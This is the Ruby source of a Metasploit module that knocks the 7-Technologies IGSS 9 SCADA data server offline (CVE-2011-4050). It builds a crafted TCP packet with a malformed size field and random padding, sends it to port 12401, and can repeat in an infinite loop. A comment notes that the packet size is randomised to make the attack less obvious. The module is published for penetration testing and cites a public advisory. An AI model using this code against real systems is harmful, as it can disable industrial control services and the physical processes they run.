Path: blob/master/modules/auxiliary/dos/scada/igss9_dataserver.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => '7-Technologies IGSS 9 IGSSdataServer.exe DoS',14'Description' => %q{15The 7-Technologies SCADA IGSS Data Server (IGSSdataServer.exe) <= 9.0.0.10306 can be16brought down by sending a crafted TCP packet to port 12401. This should also work17for version <= 9.0.0.1120, but that version hasn't been tested.18},19'Author' => [20'jfa', # Metasploit module21],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2011-4050' ],25[ 'OSVDB', '77976' ],26[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-335-01' ]27],28'DisclosureDate' => '2011-12-20',29'Notes' => {30'Stability' => [CRASH_SERVICE_DOWN],31'SideEffects' => [],32'Reliability' => []33}34)35)3637register_options(38[39Opt::RPORT(12401),40OptInt.new('COUNT', [ true, 'DoS IGSSdataServer.exe this many times. 0 for infinite loop.', 1]),41OptInt.new('SLEEP', [ true, 'Number of seconds to sleep between sending DoS packet.', 3])42]43)44end4546def run47#48# dos = "\x00\x04\x01\x00\x34\x12\x0D\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"49# dos << Rex::Text.rand_text_alpha(5014)50#51# I should have looked at the other MSF modules before I started doing it the hard way.52# Lesson learn, thanks hal. Mostly borrowed from igss9_igssdataserver_rename53#5455count = datastore['COUNT']56snore = datastore['SLEEP']57times = 15859# Someone wants to keep a good service down.60if count == 061count = 162infinite = true63end6465#66# The port seems to stay open open until someone clicks "Close the program".67# Once they click "Close the program" (Windows 7), the port becomes unavailable.68#69# However, even though it's open, it doesn't seem to handle any valid requests.70#71while count >= 172## Randomize the buffer size to make it a teeny tiny bit less obvious73size = Random.new.rand(1024..5014)7475dos = "\x00\x04" # Funky size causes overflow76dos << "\x01\x00\x34\x12"77dos << "\x0D" # Opcode78dos << "\x00\x00\x00\x00\x00\x00\x00"79dos << "\x01" # Flag80dos << "\x00\x00\x00\x01\x00\x00\x00"81dos << Rex::Text.rand_text_alpha(size)8283begin84connect85sock.put(dos)86print_status("Sending DoS packet #{times}, size: #{dos.length} ...")87disconnect88rescue ::Rex::ConnectionError, Errno::ECONNREFUSED89print_status("Connection refused. Someone may have clicked 'Close the program'")90end9192if infinite93select(nil, nil, nil, snore)94else95select(nil, nil, nil, snore) if count > 196count -= 197end98times += 199100end101end102end103104105